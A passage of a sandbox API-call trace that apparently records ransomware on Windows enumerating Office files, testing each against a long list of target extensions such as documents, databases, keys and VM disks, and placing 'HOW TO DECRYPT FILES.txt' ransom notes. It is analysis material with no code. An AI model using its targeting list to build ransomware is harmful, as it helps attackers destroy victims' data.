[0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.wab") returned 0 [0064.772] lstrlenA (lpString="*.wab") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dat") returned 0 [0064.772] lstrlenA (lpString="*.dat") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.txt") returned 0 [0064.772] lstrlenA (lpString="*.txt") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.jpeg") returned 0 [0064.772] lstrlenA (lpString="*.jpeg") returned 6 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.jpg") returned 0 [0064.773] lstrlenA (lpString="*.jpg") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.png") returned 0 [0064.773] lstrlenA (lpString="*.png") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.php") returned 0 [0064.773] lstrlenA (lpString="*.php") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.cs") returned 0 [0064.773] lstrlenA (lpString="*.cs") returned 4 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.cpp") returned 0 [0064.773] lstrlenA (lpString="*.cpp") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.rar") returned 0 [0064.773] lstrlenA (lpString="*.rar") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.zip") returned 0 [0064.773] lstrlenA (lpString="*.zip") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.html") returned 0 [0064.773] lstrlenA (lpString="*.html") returned 6 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.htm") returned 0 [0064.773] lstrlenA (lpString="*.htm") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xlsx") returned 0 [0064.773] lstrlenA (lpString="*.xlsx") returned 6 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xls") returned 0 [0064.773] lstrlenA (lpString="*.xls") returned 5 [0064.773] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mp4") returned 0 [0064.773] lstrlenA (lpString="*.mp4") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ppt") returned 0 [0064.774] lstrlenA (lpString="*.ppt") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pptx") returned 0 [0064.774] lstrlenA (lpString="*.pptx") returned 6 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.doc") returned 0 [0064.774] lstrlenA (lpString="*.doc") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dot") returned 0 [0064.774] lstrlenA (lpString="*.dot") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.docx") returned 0 [0064.774] lstrlenA (lpString="*.docx") returned 6 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.7z") returned 0 [0064.774] lstrlenA (lpString="*.7z") returned 4 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.tar") returned 0 [0064.774] lstrlenA (lpString="*.tar") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.bz2") returned 0 [0064.774] lstrlenA (lpString="*.bz2") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.gz") returned 0 [0064.774] lstrlenA (lpString="*.gz") returned 4 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mkv") returned 0 [0064.774] lstrlenA (lpString="*.mkv") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.eml") returned 0 [0064.774] lstrlenA (lpString="*.eml") returned 5 [0064.774] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.msg") returned 0 [0064.775] lstrlenA (lpString="*.msg") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.edb") returned 0 [0064.775] lstrlenA (lpString="*.edb") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.accdb") returned 0 [0064.775] lstrlenA (lpString="*.accdb") returned 7 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.odb") returned 0 [0064.775] lstrlenA (lpString="*.odb") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.java") returned 0 [0064.775] lstrlenA (lpString="*.java") returned 6 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.asm") returned 0 [0064.775] lstrlenA (lpString="*.asm") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pfx") returned 0 [0064.775] lstrlenA (lpString="*.pfx") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pem") returned 0 [0064.775] lstrlenA (lpString="*.pem") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.p12") returned 0 [0064.775] lstrlenA (lpString="*.p12") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.gpg") returned 0 [0064.775] lstrlenA (lpString="*.gpg") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vsd") returned 0 [0064.775] lstrlenA (lpString="*.vsd") returned 5 [0064.775] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.odg") returned 0 [0064.775] lstrlenA (lpString="*.odg") returned 5 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.raw") returned 0 [0064.776] lstrlenA (lpString="*.raw") returned 5 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.nef") returned 0 [0064.776] lstrlenA (lpString="*.nef") returned 5 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.svg") returned 0 [0064.776] lstrlenA (lpString="*.svg") returned 5 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.psd") returned 0 [0064.776] lstrlenA (lpString="*.psd") returned 5 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vmx") returned 0 [0064.776] lstrlenA (lpString="*.vmx") returned 5 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vmdk") returned 0 [0064.776] lstrlenA (lpString="*.vmdk") returned 6 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vdi") returned 0 [0064.776] lstrlenA (lpString="*.vdi") returned 5 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.lay6") returned 0 [0064.776] lstrlenA (lpString="*.lay6") returned 6 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mpeg") returned 0 [0064.776] lstrlenA (lpString="*.mpeg") returned 6 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.djvu") returned 0 [0064.776] lstrlenA (lpString="*.djvu") returned 6 [0064.776] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.tiff") returned 0 [0064.776] lstrlenA (lpString="*.tiff") returned 6 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.backup") returned 0 [0064.777] lstrlenA (lpString="*.backup") returned 8 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pdf") returned 0 [0064.777] lstrlenA (lpString="*.pdf") returned 5 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.cert") returned 0 [0064.777] lstrlenA (lpString="*.cert") returned 6 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.docm") returned 0 [0064.777] lstrlenA (lpString="*.docm") returned 6 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xlsm") returned 0 [0064.777] lstrlenA (lpString="*.xlsm") returned 6 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dwg") returned 0 [0064.777] lstrlenA (lpString="*.dwg") returned 5 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.nd") returned 0 [0064.777] lstrlenA (lpString="*.nd") returned 4 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.tlg") returned 0 [0064.777] lstrlenA (lpString="*.tlg") returned 5 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.lgb") returned 0 [0064.777] lstrlenA (lpString="*.lgb") returned 5 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mov") returned 0 [0064.777] lstrlenA (lpString="*.mov") returned 5 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xdw") returned 0 [0064.777] lstrlenA (lpString="*.xdw") returned 5 [0064.777] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ods") returned 0 [0064.778] lstrlenA (lpString="*.ods") returned 5 [0064.778] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.wav") returned 0 [0064.778] lstrlenA (lpString="*.wav") returned 5 [0064.778] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mp3") returned 0 [0064.778] lstrlenA (lpString="*.mp3") returned 5 [0064.778] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.aiff") returned 0 [0064.778] lstrlenA (lpString="*.aiff") returned 6 [0064.778] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.flac") returned 0 [0064.778] lstrlenA (lpString="*.flac") returned 6 [0064.778] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.m4a") returned 0 [0064.778] lstrlenA (lpString="*.m4a") returned 5 [0064.778] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.csv") returned 0 [0064.778] lstrlenA (lpString="*.csv") returned 5 [0064.778] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x164a, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="FormsViewFrame.html", cAlternateFileName="FORMSV~2.HTM")) returned 1 [0064.778] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsViewFrame.html") returned -1 [0064.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsViewFrame.html") returned 1 [0064.778] lstrcmpiA (lpString1="", lpString2="FormsViewFrame.html") returned -1 [0064.778] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp") returned="FormsViewAttachmentIconsMask.bmp" [0064.778] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.778] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.778] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.779] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.779] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="FormsViewFrame.html" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.ems") returned 0 [0064.779] lstrlenA (lpString="*.ems") returned 5 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.db") returned 0 [0064.779] lstrlenA (lpString="*.db") returned 4 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.dbf") returned 0 [0064.779] lstrlenA (lpString="*.dbf") returned 5 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.myox") returned 0 [0064.779] lstrlenA (lpString="*.myox") returned 6 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.myo") returned 0 [0064.779] lstrlenA (lpString="*.myo") returned 5 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qbw") returned 0 [0064.779] lstrlenA (lpString="*.qbw") returned 5 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qbb") returned 0 [0064.779] lstrlenA (lpString="*.qbb") returned 5 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qbm") returned 0 [0064.779] lstrlenA (lpString="*.qbm") returned 5 [0064.779] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qbo") returned 0 [0064.779] lstrlenA (lpString="*.qbo") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qbx") returned 0 [0064.780] lstrlenA (lpString="*.qbx") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qba") returned 0 [0064.780] lstrlenA (lpString="*.qba") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qby") returned 0 [0064.780] lstrlenA (lpString="*.qby") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qbj") returned 0 [0064.780] lstrlenA (lpString="*.qbj") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.ofx") returned 0 [0064.780] lstrlenA (lpString="*.ofx") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.qif") returned 0 [0064.780] lstrlenA (lpString="*.qif") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.mye") returned 0 [0064.780] lstrlenA (lpString="*.mye") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.mbox") returned 0 [0064.780] lstrlenA (lpString="*.mbox") returned 6 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.eml") returned 0 [0064.780] lstrlenA (lpString="*.eml") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.pst") returned 0 [0064.780] lstrlenA (lpString="*.pst") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.ost") returned 0 [0064.780] lstrlenA (lpString="*.ost") returned 5 [0064.780] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.idx") returned 0 [0064.781] lstrlenA (lpString="*.idx") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.dbx") returned 0 [0064.781] lstrlenA (lpString="*.dbx") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.sql") returned 0 [0064.781] lstrlenA (lpString="*.sql") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.mdb") returned 0 [0064.781] lstrlenA (lpString="*.mdb") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.fdb") returned 0 [0064.781] lstrlenA (lpString="*.fdb") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.wab") returned 0 [0064.781] lstrlenA (lpString="*.wab") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.dat") returned 0 [0064.781] lstrlenA (lpString="*.dat") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.txt") returned 0 [0064.781] lstrlenA (lpString="*.txt") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.jpeg") returned 0 [0064.781] lstrlenA (lpString="*.jpeg") returned 6 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.jpg") returned 0 [0064.781] lstrlenA (lpString="*.jpg") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.png") returned 0 [0064.781] lstrlenA (lpString="*.png") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.php") returned 0 [0064.781] lstrlenA (lpString="*.php") returned 5 [0064.781] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html", pszSpec="*.cs") returned 0 [0064.782] lstrlenA (lpString="*.cs") 